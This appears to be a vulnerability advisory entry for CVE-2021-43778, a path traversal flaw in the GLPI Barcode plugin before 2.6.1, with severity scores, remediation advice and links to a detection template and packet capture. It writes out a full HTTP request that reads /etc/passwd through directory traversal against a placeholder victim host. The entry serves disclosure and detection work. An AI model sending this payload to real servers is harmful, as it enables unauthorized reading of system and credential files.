| Title | GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability. |
|---|---|
| Author | cckuailong |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure. |
| Remediation | Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file. |
| CVSS Score | 7.5 |
| EPSS Score | 0.87845 |
| CVE ID | CVE-2021-43778 |
| CWE ID | CWE-22 |
| Tags | cve cve2021 glpi lfi plugin traversal glpi-project vkev vuln |
Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.
GET /glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43778.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-43778.pcap
N/AN/A